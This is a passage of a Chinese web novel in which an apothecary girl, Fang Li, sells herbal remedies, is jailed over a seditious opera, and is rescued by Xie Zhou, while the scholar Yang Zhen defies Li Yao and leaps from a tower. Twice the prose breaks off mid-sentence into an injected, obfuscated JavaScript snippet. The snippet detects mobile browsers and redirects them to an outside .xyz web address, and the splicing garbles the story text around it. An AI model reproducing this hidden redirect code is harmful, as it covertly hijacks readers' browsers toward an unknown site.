她的敲打谢舟听懂了,青岚山一事暂且揭过,但也警告他,他是众矢之的,只有忠于她才能保住荣华与权力。 谢舟躬身站着,是表忠心,也是接受惩罚,直到他咳嗽一声,红色飞鱼服慢慢洇出血迹,李潇才赐座。 李潇道:“本宫今日听到一首民间童谣,甚是有意思,爱卿也来看看。” 宫女递过去一张纸,上面写道: “黑鲤鱼,跳红桥,扮成黄龙坐金轿。金钩空,假玉绡,月影生寒照天摇。” 童谣鲤、绡暗含李潇二字,说的是李潇宫女出身当后妃,鲤鱼跃龙门便罢,还想掌控皇帝,取代真正的太后杨盈。 李潇眼里揉不得沙子,这首童谣不知又要掀起多少风浪。 旭日当空,暖不了森森皇城。 谢舟领命出了皇城,街口跑过去两个人,正挨家挨户敲门。 侍卫浊流顺着他的视线看过去,随后道:“大人,是还春堂的方梨和梅隐香。” 谢舟皱了皱眉:昨日清溪回禀她用他的名字弄得人仰马翻,今日又是在做什么? “叫清溪继续盯着。” “是。” ———— 那边方梨和阿香还不知她们被人盯上,敲开王姓富商家的大门进去。 一进院子,梨花远远就看到一个熟人。 千金方医馆的掌柜正坐在正厅喝茶,下人将梨花引进去坐在掌柜对面,梨花今日梳洗干净着男装,掌柜并未认出她是谁。 他们彼此看看手边的药箱,想来是同行,于是默契地没说话。 过了一盏茶功夫,一位雍容华贵的妇人从内堂出来,掌柜立刻站起作揖,梨花和阿香不懂礼仪,慢了一步起身,但也有模样学着行礼。 来人便是王夫人,身姿袅娜走路带风,眼圆嘴小,年轻时肯定也是个美人,只是脸上的铅粉厚得吓人,偏又爱笑,眼角挤出三层褶子,粉扑簌扑簌掉。 王夫人招呼大家坐下,轻声问:“二位都是来卖温补汤的?” “是。” 两方异口同声。 掌柜不经意斜了梨花一眼,以前从没人跟他抢生意,今日不知怎么来了个乳臭未干的臭小子,看来要费一番功夫了,于是率先上前。 “王夫人,在下是千金方的掌柜王生,同咱们王老爷是本家呢。” 谁跟你咱们?京城丢出块石头都能砸到个姓王的。他这样明晃晃的攀亲行为,阿香十分看不上,悄悄翻个白眼。 王夫人撩起眼皮看王生,眉目间没有不悦,他便继续说:“我们千金方的温补汤专供京城达官贵人,里面都是上好的药材,一剂难求,这王夫人应该知道吧。” 京城大官们的喜好就是风向标,富人都想靠上去,王夫人自然知道千金方温补汤的名气,点了点头。 王生又道:“因与王老爷是本家,这才主动上门结个善缘,原本五两银子一包,现在只要一两银子。”说着拿出五包药放在桌上,“这是五天的量,清水煎服即可,劳您派人带我去账房。” 他站到王夫人身侧等吩咐,这个位置刚好将梨花和阿香挡住,不给王夫人思考选择的机会。 这人完全没有公平竞争的意识,实在无耻,阿香生气上前要与他理论,却被梨花拉住手腕阻止。 人家名气大,自家没名气,两相比较谁都知道怎么选,理论没有意义,要另辟蹊径。 梨花笑一笑站起身道:“小的是还春堂伙计方梨,久仰千金方医馆大名,一直想向您讨教医术却不得机会,今天借王夫人的光。” 说话间梨花已经绕到王夫人另一侧,拆开桌上其中一包药装模作样闻了闻,“咦,这千金方的温补汤竟与我还春堂一模一样,莫不是……” 王夫人疑惑:“莫不是什么?” 王生大骇,就知道这小子没安好心,居然说他的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875645|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子抄袭,他身子站定正要分辩,却听梨花爽利一笑:“莫不是英雄所见略同,是不是呀王掌柜,哈哈哈。” 王生:…… 梨花回头向王夫人见礼:“这药祛寒除湿,于姐姐身体大有益处。” 姐姐,哪里来的姐姐?王夫人一时惊愕。 梨花抬头突然夸张惊呼:“哎呀,是我情急叫错了,夫人见谅。刚才就觉得夫人面善,现在凑近一看竟是像我亲姐姐,小人十六了,夫人今年有二十吗?” 对着一个中年妇人一口一个姐姐,还脸不红心不跳问有没有二十,梨花奉承的话张口就来,可偏偏一脸无辜让人觉得她是真心的。 王生刚才就一口气压在胸膛,现在看有人攀亲比她还不要脸,这口气上不来下不去脸色憋的铁青。 站在一旁的阿香下巴差点掉下来,心道:白眼翻早了,有更无耻的。 王夫人手绢掩唇轻笑,“我今年都四十有三了,小兄弟可不要乱叫。” 梨花赶忙作揖赔礼,“是小人的错,小人的姐姐哪有您这般貌美。”她话锋一转,“要是喝了我们还春堂的温补汤,您定会更加容光焕发。” 王生拧眉,什么讨教医术,什么姐姐弟弟,原来在这儿等着呢,他气急败坏指着梨花嚷道:“王夫人已经与我定下生意,岂容你从中作梗?” “王掌柜急什么,千金方的温补汤卖不出去了吗!” 梨花突然正色语气不善,厅中几人都吓了一跳,王生更是不自然地搓搓手。 因为他的汤药真得卖不出去了。 昨日一个乞丐模样的小丫头大闹医馆,当众戳破他把海风藤弄错成断肠草,他在最短时间内压下此事,又及时把已经送出去的药替换了,可纸包不住火,一些消息灵通的人家退货不再续订,他这才把主意打到富商身上,否则以前他的汤药非达官显贵绝对不卖。 王生心中暗暗吃惊,少年怎么会清楚这些事,打死他也想不到,现在站在他面前的就是昨日的乞丐丫头。 可到底是老江湖,王生又怎么会被一句似是而非的话吓住,他敛敛衣襟对王夫人道:“先前给顾府和方府送过汤药,现下只剩这五包,要是不要,全凭您做主。”说罢竟向后退两步坐回椅子上。 顾府是兵部尚书府,方府更是当朝首辅府邸,这两家都买千金方的汤药,能和他们两家享受一样的东西,这是何等荣耀,王夫人立刻提起精神,脸上的喜色比说她重返二十岁还精彩。 梨花不明白,什么顾府、方府,怎么就让王夫人立刻倒戈。阿香也没看出形势陡然转换,立刻站出来道:“我们有,我们还有很多,王夫人您买我家的吧。” 王生轻蔑地哼了一声,王夫人懒得再理梨花和阿香,着急付银子,第一时间享受贵人同款。 梨花还想拦,“姐姐,您就是我亲姐姐,我给您打个八折,量大从优……哎……” 沉浸在喜悦中的王夫人根本听不到她说什么,王生领了银子甩甩袖子走了,只剩梨花和阿香带着药箱灰溜溜被请出去。 ———— 深夜,烛火摇曳,两个少女蔫头对坐在桌前。 梨花托着下巴,满眼空洞,她还以为卖温补方子是件容易的事情,现实教她做人。 一天下来,收入为零。 阿香捻着细麻绳叹息,“达官贵人只认千金方这样的大招牌,咱这小铺子的东西人家看不上,打折都不要。可这些个金贵的药材,卖给普通百姓他们也买不起啊。” 卖给普通百姓。 这几个字像烟花突然在梨花脑中炸开。 “对呀,我们可以卖给普通人嘛。” 人人都有赶时髦的想法,尤其在攀比之风最盛的京城。 贵人圈子里流行的东西都是普通人仰望的存在,普通人越是仰望,就越能彰显贵人们高不可攀的身份。但越是高不可攀,普通人也就越渴望拥有,哪怕是赝品也甘之如饴。 梨花道:“我们要做的就是寻找千千万万王夫人这样的人。” 阿香歪头不解,梨花吹灭蜡烛。 “我有办法了,睡觉。” 9. 两难抉择 “金阶碎玉步,为质息兵戈。” “稚子牵衣问,何日归故国。” “血战守山河,销骨功臣殁。” “明镜高堂坐,诸公言何何?” “苦!苦!苦!” “叹!叹!叹!” “冤!冤!冤!” 锦绣园戏班新出了一台戏《故园》,唱词凄婉哀怨,伶人声传四方,观众无不泣泪,纷纷鼓掌打赏,班主赶紧端着托盘收钱。 后台里,几个伶人正在拆卸妆环,门口一个少年装扮的人坐立不安,听到外面欢呼声立刻拉开门帘偷看。 班主捧着托盘对看客道:“一盘糕点八十文,一壶凉茶一百文。” 看客放上二百文道:“这戏真不错,”他端起手边茶杯又喝一口,“茶也酸甜爽口,锦绣园服务越来越周到了。” 班主收下钱高呼:“谢张老板赏~” 不一会儿,托盘满满当当堆成小山,班主端着托盘美滋滋往后台走,刚掀起门帘,少年便闪过来,躬身站在班主身后问道:“班主,我的凉茶卖得不错吧?” 卖凉茶是梨花新研究出来的法子。 她把先前温补汤的药方拆开,最主要的几味药仍用做温补汤,取名“温养汤”,售价五百文,卖给想喝温补汤但买不起原配方的人家。不过一字之差,多少人趋之若鹜,半日便卖出去十几包。 其余的药材里有生津润肺的,她又加了山楂等几味药配成茶包,煮制凉茶,拿到人多的地方兜售。最后剩下的药沫子,她便宜打包给绣娘做香囊。这样一药三卖,算下来每包药仅卖六百多文,销量却大大增加。 几头做事,他们人手不足,又雇佣一个短工一起做活,短工配合梅伯配药,阿香售卖温养汤,梨花出外揽生意。已经给几个酒楼客栈送过去许多凉茶,听说锦绣园戏班出了新戏,场场爆满,梨花背着药箱便赶过来。 锦绣园原来只售瓜子,前些日子才上新糕点,今日梨花自荐凉茶,班主本不想答应,奈何架不住利钱的诱惑,便上了几壶试试,竟全售光了,还好评如潮。 班主数钱数得两眼放光笑得嘴都合不拢,听到梨花说话下意识点头,忽又收住笑,轻咳一声道:“尚可。” “那咱这生意就谈成了,我的茶在您这儿售卖,每卖出去一壶,您收一成利。” “三成。” “两成。” “成交。” 梨花早料到班主会杀价,故意将分成说到最低,班主还价,她再折中,最后大家都很满意。 梨花放下凉茶包正要出门,忽然听到外头闹哄哄的尖叫声和碰撞声,下一刻后台门帘便被一把刀挑断,闯进来几个官差,官差二话不说就要押走后台众人,班主连连求饶:“不知小的犯了什么事,几位大人给个交代的机会呀。” 为首的官差看出这是主事的,冷哼一声道:“借戏文传悖逆之言,妖言惑众,去牢里和我的刑鞭交代吧。” 什么悖逆之言,梨花完全搞不清楚状况,刚想解释自己不是戏班的人,官差一鞭子抽在班主身上,吓得她不敢说话。 ———— 狱中,班主最先被提审,其他人接连被拉出去,只剩梨花一人躲在牢房角落瑟瑟发抖。 断断续续听其他人解释她才搞明白,这出《故园》唱的是仁德皇后杨盈和先太子宁澈去漠风为质,大将军谢谦保家卫国最后死于通敌罪的故事,唱词最后几句是为谢谦鸣冤,为杨盈叫屈,有人检举他们谋反,官差立刻来抓人。 这不是公然与太后和皇上作对吗? 梨花觉得这些人胆大包天,更觉得自己十分无辜,怎么卖个凉茶就和造反扯上关系了,听着隔壁刑房此起彼伏凄厉的叫声,她头皮发麻。 不知过了多久,一个狱卒进来,押梨花去受审。 牢狱这地方梨花是知道的,没罪也得先挨三十板子,她旧伤还没好利索,若再受刑,即便最后证明无辜被放出来,人也没指望了。 危急时刻,梨花脑中突然蹦出来一个名字:谢舟。 谢舟其人,大家多少要给他三份薄面,说好听是敬他年少官高深得圣眷,说难听是怕他阴鸷狠辣刀下无人。 借谢舟名、行自己便,这种事梨花也不是第一次做了,她挣脱狱卒厉声道:“我是谢舟的医师,一会儿他要接我去诊病,伤了我你们担待得起吗?” 谢舟的大名一搬出来,狱卒果然停住了。 没人想和“活阎王”扯上关系,更不敢随意攀扯,此人敢公开说自己与谢舟有私交,想必不是作假,可抓走锦绣园戏班的人是荣国公李遥授意的,李遥是太后李潇的亲弟弟,他主动找一个小小民间戏班的茬,不查出来点什么肯定不会罢休,私自放人岂不是自找麻烦。 神仙打架,小鬼遭殃,狱卒犹豫得罪哪头他能死得晚一点,这时另一个狱卒引着一个人往探监室走,听到这边的说话声站住。 那人语气淡淡道:“此事与这位小兄弟无关,放了他吧。” 梨花这一回头才看见,竟是那天停云阁的清瘦男子。 “这……”狱卒虽认得杨贞,但此事非同小可,他皱了皱眉表示很难办。 杨贞又道:“既不能放就带他一起来探监室,我自会向荣国公禀明一切。” 只要不放人就好办,狱卒痛快将烫手山芋交出去。 梨花不知道这个男人是谁,只觉得他通身气质清澈,像一汪清泉,说出的每一个字都在耳边轻轻流淌,她不受控制地跟他走了。 杨贞跟着狱卒往前走,静静思索锦绣园一事,他知道这是李遥为他设的圈套。 那日在刑部大牢见完老师黄忠言,出来就看见李遥的马车在门口,他装作没看见远远绕开,李遥的小厮却迎上来将他拦回去。 黄忠言带领众人请愿一事让李潇非常不悦,为了给姐姐出口气,李遥便想来大牢折辱黄忠言一番。看见杨贞进去,他心生一计,拦住杨贞道:“黄大人冒犯天威命不久矣,只要你替他承认此事是受人指使祸乱朝纲,我可以向姐姐求情饶他一命。” 这“指使人”指的自然就是杨盈,没什么比杨贞亲口承认杨盈祸乱朝纲更有杀伤力,事后他再要他们的命轻而易举。 李遥素来不喜杨贞,这时倒一副礼遇有加的样子,杨贞却毫不领情,行过一礼不卑不亢道:“多谢荣国公,不必了。” “哼,不识好歹,你会跪着来求我的。” 望着马车远去,杨贞料定李遥会再来找麻烦,只是没想到这么快。 《故园》是一个仰慕杨贞的书生所作,他对当年的事耿耿于怀,黄忠言请愿之事刺激了他尘封多年的心,挥笔写了这出戏文,借由停云阁的手卖给锦绣园。戏文里没有指名道姓,却人人心知肚明。 今日拿锦绣阁开刀,无非宣告一件事:但凡为杨盈和当年的事发声,不会有好下场。 书生、停云阁、锦绣园,还有许许多多想发声的人,李遥一个也不会放过,除非在源头上终结,这源头便是杨贞。只要他承认杨盈主导了一切,所有人都会安然无恙,否则就要他亲眼看着这些人一个个出事。 去往探监室的路不远,杨贞感觉走了很久,到探监室门口,杨贞停下,突然被人撞了一下。 梨花闷头走路,想着放在锦绣园的凉茶还能不能拿回来继续卖,算计阿香今日收入多少,没注意前面人停下,一头撞上去。 杨贞回头看她,想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875646|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她刚才说的话,她攀扯谁不好,偏偏是那个人人避之不及的人。 “谢舟不是能任你利用的人。”他出言警告梨花刚才做了一件极其危险的事,声音却毫无威慑力。 梨花听出他是好意,不痛不痒道:“我知道,其实我也不想这样做,但两害相较没有更轻,怎么选都是错,所有选择都要付出代价。” “可若是你作出选择,却让别人付出代价呢?” 梨花不解,自己的选择怎么会影响其他人,她凭直觉回答:“如果非我所愿被迫抉择,我有什么错呢,该怪怨那个逼我做抉择的人。” “那你要怎么面对那些受伤害的人,面对其他人唾弃的目光?” 这个问题梨花没想过,脱口而出:“我不知道。” 可看杨贞的神情复杂悲伤,她郑重思考一下又道: “那些受伤害的人应该会理解我的无可奈何吧,就算不理解,他们有怨有恨我也甘愿承受,同时尽己所能补偿,至于其他人……总有会讲人话的臭虫嗡嗡,既然打不净,那就不用管。” 牢房并不安静,梨花的声音却仿佛在空谷幽幽回荡,荡涤那座冰封许久的河,一颗死寂的心不着痕迹颤了颤。 杨贞思绪纷飞,老师在他的性命和杨盈之间选了他,背上了贪生怕死的恶名,他又该怎么选,等待他的会是怎样的结局。 杨贞的沉默让梨花以为自己说错话,找补了一句:“其实……也不是非要二选一吧?就不能走第三条路吗?” 梨花的话如快刀斩乱麻,帮杨贞纷乱的思绪找到出口:是啊,可以有第三条路。 杨贞豁然开朗突然起身作揖,“小兄弟有大智慧,杨贞受教了。不知小兄弟尊姓大名,可有荣幸与小兄弟交个朋友?” 这么好看的人主动要与自己交朋友,梨花喜上眉梢,“我愿……” “你还真是厉害,到哪儿都能招蜂引蝶。” 一个男人说话,梨花恍惚以为自己听到谢舟的声音了,她蓦然回头,还真是谢舟。 他怎么会在这里? 他什么时候来的? 他有千里眼还是顺风耳? 借他名字唬人的事他知道了来兴师问罪的? 他那么忙有别的事吧? 一定是在做梦。 梨花闭上眼想装晕,谢舟阴沉的声音再次传来:“还不走等我进去请你吗?” 还真是来找她的!不过听起来不像找麻烦,倒像是特意来——救她? 梨花看一眼杨贞,鬼鬼祟祟走到谢舟身边,又站住回头莞尔一笑,“我是还春堂方梨。” 杨贞沉浸在灿烂的笑容里,许多年后,这个笑容他依然铭记。 ———— 谢舟和梨花刚走不久,李遥提着个浑身血淋淋的人进来。书生已经被折磨得看不出人样,指甲全拔了,眼眶黑洞洞,嘴里一直呜呜呜。 李遥丢了一块东西到杨贞脚边:“你说他嘴有多硬,问什么都不说,我以为他的舌头是铁做的,结果用刀轻轻一割就掉了,没意思。” 见杨贞没说话,他似是不尽兴,又道:“不信啊?你捏捏看,真是软的。” 杨贞绷紧下颌,藏在袖中的手握了又握,终于开口:“不用了,我信。” 这下李遥畅快了,拉过一条椅子坐下,细细咀嚼杨贞的情绪,享受够了他才装模作样开口,“不知杨大人找我何事?” 他当然知道杨贞为什么找他,可他就是要问,他要让杨贞亲口求他,他要看杨贞对他摇尾乞怜,跪在地上乞求他放过那些人。 一边是曾经牺牲自己保护家国之人,另一边是心怀感恩忠肝义胆之人,天平两边杨贞会怎么选,他很期待。 10. 不可折节 书生感知到杨贞站在不远处,像当年把杨贞作为他的前进目标一样,他拖着身躯一点点朝杨贞爬过去。然后摸到一双鞋,鞋尖微微颤动,他呜呜想说什么,却说不出来,急得想哭,两行红泪流出来。 他这副样子肯定很糟糕,杨贞以前从不碰污秽之物,他怎么敢污了他,他又往后退。 这时,他的肩膀轻轻被人按住,一只手轻轻抚摸他的后背,他不敢置信僵住,然后手的温度渐渐传到他的脸颊,杨贞的声音从头顶传来,“你说的我听懂了。” 书生抵死不承认《故园》是悖逆之作,他的筋骨可断,绝但不折节。 他不能,杨贞更不能。 “可对不起,我做不到。” 杨贞站起身走向李遥,李遥仍旧翘腿坐着,八梁金冠高竖,白玉腰带松松垮垮挂着,绣着金线的鞋一抖一抖,几乎贴住杨贞的下巴。 杨贞曾经以为士大夫的膝盖坚不可弯,直到地砖的寒气透过衣衫,他才发觉自己真的向李遥下跪了。 “请荣国公放过他。” 他还是跪得太直,哪有挺起脊背求人的,即便跪下,那股执拗和傲气还是令人生厌,李遥掏掏耳朵不耐烦地说:“谁请啊?” “杨贞——请荣国公高抬贵手放过此人和停云阁、锦绣班众人。” 杨贞重重叩首,风骨与尊严随着这一跪一求全都抛却。 天之骄子碾落成泥,看着脚下卑微求他的人,李遥有种大仇得报的快感。 他与杨贞同年,却处处被他压一头,杨贞的姑母是皇后,而他姐姐只是无意中被宠幸的宫女,因为生下公主才封了末等的才人。 杨家出事,杨贞隐退不出,可人人说起科考光辉第一个想到的都是他,没人记得他李遥也只念了三年书就从大字不识到进士及第。 这次他终于赢过杨贞,不止要赢,还要当众赢。 既然杨贞选择救这些人放弃杨盈,那他要承受千夫所指,李遥要彻底将杨贞的尊严当众踩在脚下。 ———— 牢中一片阴云,外面天气晴好。 马车摇摇晃晃前行,谢舟闭目养神,梨花侧坐,时不时偷瞟他一下,见他没反应,便大胆打量起来。 他脸颊锋利,鼻梁高挺,往常顶着那副阎王面,无人敢直视他,现在仔细端详发现他一双眉眼生得十分温柔。 这是她第一次认真看清谢舟的模样,今天他身上没有戾气,难道遇到什么好事了?不如趁他心情好坦白从宽,梨花壮着胆子往前挪了挪。 “你胆子愈发大了。” 没等梨花开口,谢舟就兴师问罪了,果然还是他,友好不了一点,她赶紧岔开话题,“你身体不舒服吗,还是头又痛了?”关心总不至于惹他生气吧。 谢舟道:“离杨贞远一点,不然怎么死的都不知道。”李遥借口抓乱党都能叫她碰上,不知道该说她倒霉,还是说她自找的。 梨花心道:杨贞清风朗月,在他身边确实不知道怎么死,但在你身边容易被吓死。 她僵硬点头,随即问出憋了一路的问题:“所以你是特意来救我的吗?”他怎么知道她被抓走了。 谢舟睁开眼直视她道:“我怕你骨头软,还没用刑就什么都招了。” 果然是怕她泄露秘密,梨花撇撇嘴低声道:“我才不是那种人。” 这时马车闪了一下,她被甩到门边,顺势滑出去想离谢舟更远,没注意到他不动声色收回的手。 马车终于停下,梨花掀开帘却是还春堂,她还以为是去谢府治病呢,回头望向谢舟,他又闭起眼,吐出个“滚”字,梨花带着没说出口的谢谢麻利地滚了。 还春堂门口还有人排队,温养汤的生意确实不错,梨花理理衣服才进门。阿香收完钱抬头看见梨花,送走最后一位客人,把她拽进柜台,神秘兮兮拉开钱柜展示。 钱柜里面一吊又一吊的钱,光是这一日就赚了二十多两,这样下去不但能还债,还能振兴还春堂,到时候再做几件正经伙计衣裳,把牌匾重漆,医馆翻新一下…… 阿香沉浸在幻想中,梨花敲她脑袋才醒过来,忽然想起一件事,她取出一封信交给梨花。 “上午一个伙计送来的,说是什么停云阁。” 梨花先前又去一趟停云阁,她安顿掌柜如果有一个叫穆易的人过来,一定去还春堂找她,掌柜应下,这定是穆易的消息。 梨花抢过信拆开,果然是穆易写的,约她三日后在摘星楼相见,以一朵梨花作为相认凭证。 ———— 摘星楼在正阳门大街上,明明是销金之地,却装修典雅,别有一番韵致。 楼有三层高,上下通透,一楼中间是一个大平台,座位围平台而设,以纱幔隔开,平台正中的琴姬一曲高山流水潺潺入耳,客人听得如痴如醉,轻纱流云,仿若置身人间仙境。 梨花提着裙子进来,找了最靠门口的位置坐下,这样方便她观察来往客人。 这几天还春堂的生意步入正轨,温补汤同款的温养汤名声已经打出去,购买者络绎不绝,有阿香看店,梨花得空特意租了一身漂亮衣裳,美美打扮一番,又在头上插了一支梨花。 见穆易是方梨生前最大的愿望,她一定替她好好完成这个心愿。 梨花坐了一阵,陆续进来许多人,白衣学子、士大夫、等待科考的考生……好像今日有什么大人物要来,摘星楼里人越聚越多,渐渐喧闹起来。 “没想到有生之年还能听他讲学。” “当年他那篇《民训》我读了不下百遍,短短一百个字就将民忠君和君兴民的关系讲清楚,我越读越觉得天才就是天才,我等凡人不能比啊。” “我科考多年不中,一直把他当成目标。” “他沉寂多年这次出山不知为何?” “管他为何,能亲眼一见,亲耳一闻,我已无憾。” …… 琴姬的乐声全被讨论声压下去,梨花没在意,仍盯着进来的每一个客人,等待带花之人。 这时,楼中突然静下来,大家目光齐齐望向二楼,梨花也循视线望去。 二楼栏杆后的纱幔被高高挑起,露出坐在高处的两个人,左边的穿绯红色长袍,胸前刺绣图案张牙舞爪,绝非一般人,右边是个满脸胡须的壮硕异族男人,头戴镶嵌玛瑙的头冠,梨花不认得,这二人正是荣国公李遥和漠风王子那木勒。 李遥笑道:“听说那木勒王子对我们汉人文化很有研究,本公请来大宁学术造诣最深的学者,请他与王子探讨一二如何?” “自然好,多谢荣国公。” 说话间,楼梯处转出一个清瘦身影,李遥大笑:“说曹操曹操到,他来了。” 梨花定睛一看,这不是杨贞吗?其他人见他出来瞬间兴奋,坐着的跃跃欲试站起来,站着的想往前冲,都被侍卫拦回去。 那木勒代表漠风来使,李遥特地选在摘星楼设宴招待,宁国学问受天下推崇,他请杨贞来讲学,并放出风去本次讲学公开,无数人慕名而来,只为一睹那位百年难得一遇的才子的风采。 可惜众人不知李遥醉翁之意不在酒,他们毫不知情就被利用,成为阻碍杨盈回宫那块最坚硬的石头。 这才子与众人想象的不太一样。 杨贞今日换了一身青蓝色氅衣,头戴展脚蹼头,不似光彩熠熠的少年天才,倒像一只清冷的孤鹤,周围人怕喧嚣惊了他,竟然全都自觉噤声。 李遥十分热络地请杨贞入坐,向那木勒介绍:“这位便是宁国有史以来最年轻的进士杨贞,说起来他还与王子有些渊源呢?” “哦,杨贞?杨……” “没错,就是您想的那位,在漠风住了五年的仁德皇后杨盈,他们是姑侄,杨家出人才呐。” 一个出国为质的皇后,一个偃旗息鼓的天才,任谁听了都得感叹,唯有李遥语气幸灾乐祸,话中的嘲讽之意快溢出来了。 杨贞没作反应,他忽又语气哀婉:“仁德皇后在漠风这些年,不知遭了多少罪……唉,金枝玉叶的身子,能全须全尾回来已是祖宗保佑。” 他故意提高声音,这话下面众人全听见了,想到一个女 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众人目光聚焦杨贞,听他引经据典从孔孟讲到阳明,从礼义讲到身份功绩。梨花学问不深,只粗浅识得几个字,可晦涩难懂的词句从他口中像故事一样娓娓道来,梨花听得入神。 她从未见过这样的人,站在那儿就是一束光,让人挪不开眼,遗世独立这个词仿佛为他量身打造。这样一个人,谢舟为什么警告她远离呢? 思绪突然跑到谢舟身上,梨花甩甩脑袋把他赶走,再听已经讲到本朝。 杨贞道:“礼之真义,在于引人行正道、尽其责;身份之重,在于承载社稷之托、生民之望;行事之重,在于体现仁德之心、济世之功,如太祖出身寒微,一样打天下定乾坤。” 宁国建国之前战乱频发,太祖本是个云游僧人,不忍见苍生疾苦,弃经文执刀戟,建家国佑民生,他打下的基业到前朝才撑不住,再次发生战乱险些亡国,可见打江山的人不一定坐明堂,坐明堂的人也不一定能守江山,众人对杨贞的话深以为然。 梨花被他的道理折服,想到官与民的界限从来不是身份,而是身份所赋予的责任,只是百姓不懂得自身价值,一味拜服比自己高位的人,而高位者自认高贵,随意践踏百姓。 一些久远的记忆被唤醒,一些不能释怀的事终于释怀。 杨贞看一眼众人的反应接着道:“又如当朝李太后,宫女出身,却在乱局中扶持年幼的陛下登基,稳定国祚,其功绩足当太后。” 此话一出,刚才还高涨的场中突然一片死寂。 杨贞怎么敢当众议论当朝太后?虽说李潇宫女出身不是秘密,但她手握大权以后不断抹除过去痕迹,没人再敢提,现在杨贞当众说出来,他不怕死吗。 李遥从椅子上弹起来,“你大胆!”姐姐最忌讳的就是别人提起她的出身,杨贞让她难堪是不想活了还是不想其他人活了。 杨贞慢慢转回头平静地望着他:“荣国公,我说的不对吗?” 李遥很想否认但却不能,他终于意识到杨贞长篇大论就是个圈套,为的是证明身份与功绩无关,他要否认了,岂不是说姐姐的功绩是假的不配为太后,可让他认可杨贞的话,他又咽不下这口气,当着那木勒和这么多人的面,他只能摔了个杯子泄愤。 他以为事情到此为止,由杨贞认可李潇太后身份的任务虽不圆满也算达成,便要去扯杨贞把他赶下去,谁料杨贞回身继续开口。 “仁德皇后杨盈,”他说到这儿哽咽一下,“为国为质,以女子弱势之躯保家卫国,她所受的苦都是荣誉,每一道伤痕都是功勋,如今回国应封太后。” 这下所有人都呼吸停滞,难以相信他们听到了什么,连那木勒一个外国人喝酒的手的僵住了:他什么意思? 杨贞没给众人反应的机会,大声道:“李潇、杨盈该同为太后!”他终于说出这句话了,声音震得众人心颤。 李遥第一个回过神来,颤抖着手命令:“来人,把这个乱臣贼子给我拿下!” 士兵围上去抓捕杨贞,杨贞纵身一跃跳下楼台。 11. 阴差阳错 摘星楼确实很高,高到掉下去的时间里杨贞回望了一生,却想不通是什么原因造就了现在的局面。 他没否认杨盈在漠风的经历,百姓的愧疚与同情能为杨盈回京保驾护航,杨盈回京且遇刺的消息公开,以后再没人会因为替杨盈说话被伤害,而他的死也会让后位之争的风波难以轻易平息。 保杨盈与保其他人,他都要,愿意舍身就能走出第三条路。 摘星楼也没有很高,转瞬间人就落地。 一切发生的太突然,楼中爆乱。 “啊,死人啦!” 女客和琴姬哪见过这种场面,捂脸大叫,惊慌逃窜。 专为杨贞而来的人,群情激奋往前冲,叫喊着为杨贞报仇,为仁德皇后讨回公道。 尤其以年轻学子最为疯狂,偶像被人逼死,是非对错仁义礼智这一刻全抛在脑后,叫喊着冲上二楼。 李遥见势不对和那木勒从二楼后门逃跑,众学子一路追打,所到之处狼藉一片。 有稳重的先去关心杨贞,他落在一楼平台上,人还活着,但右腿以一种奇怪的姿势弯折,后腰处全是血,表情痛苦不堪。 有人想去扶他,人群中突然传出一个女子的喊声。 “不要动他。” 众人循声回头,一个穿着桃粉长裙的少女提着裙子挤进来,裙尾还在脚下踩着,脸上两坨不正常的胭脂红,像刚被人打过,头顶竖直插了一支花,比上坟时候还插得直。 这是哪里来的妖怪? 在一片疑惑中,梨花妖本尊已经闪现到杨贞身边。 她伸手顺着弯折的地方摸了摸,确认腿骨骨折,此处问题不大,及时包扎固定日后慢慢调理就好,但腰部受伤的地方看不清,怕有大问题。 梨花想也不想便要扒杨贞的上衣,众人惊愕慌忙阻拦,“你是什么人,这样折辱杨先生。” 杨贞现在是翰林院侍讲,虽未实际给王公贵族授课,但大家仍尊称一声先生。在外人面前露出身体,是极无尊严的事,他们岂能看杨贞受辱,上前拉开梨花。 梨花道:“他的命比名声和尊严重要吗?” 一人道:“杨先生性命当然是最重要的,已经有人去请太医了。” 梨花最烦这些迂腐的人,脑子里只有学问没有变通,她咬牙切齿,“等太医来了,你们杨先生早就魂归西天,我是大夫,让我先看看简单处理一下。” 她又要上手,再次被人拦住:“你一个女流之辈哪懂得治伤,快些让开。”说着去扶杨贞。 她再次慌忙大喊:“不要动他!不清楚病人情况的时候贸然移动十分危险,你想要杨贞死在你手上吗?” 这句话总算震住这些乱行事的人,毕竟谁也不想背上害死杨贞的罪名,众人你看看我,我看看你,谁也不知道该怎么办。 有人道:“你怎么敢直呼杨先生的名字,实在无礼。” 有人附和:“就是。” 大家你一言我一语指责梨花,仿佛找到自己关心杨贞的证据,着急拿出来给人看,生怕说得比别人慢。 杨贞痛苦嘤咛,众人急切看向杨贞,他的手一直想往后探,却疼得动不了。 见势不对,梨花用力挣扎想甩开按着她的人,大喊:“我真的是大夫,你们相信我!” “从来没有女子当大夫的先例,谁敢信你呀?” “就是,瞎搞,不能信。” 这时一个响亮的声音从人群之外传进来。 “我信。” 兵器甲胄的声音碰撞,两队锦衣卫开道,一身红色飞鱼服的谢舟从中走过来,他宽阔的身躯为梨花隔开一片空间,再次重复:“我信。” 活阎王一出现吓得普通客人一动不敢动,梨花却觉得是天降神兵来解救她。杨贞的狂热追随者还想说什么,被谢舟一刀扎在大腿上动不了。 有谢舟镇场子,梨花趁机跪在杨贞身边,将他上衣全部褪掉。 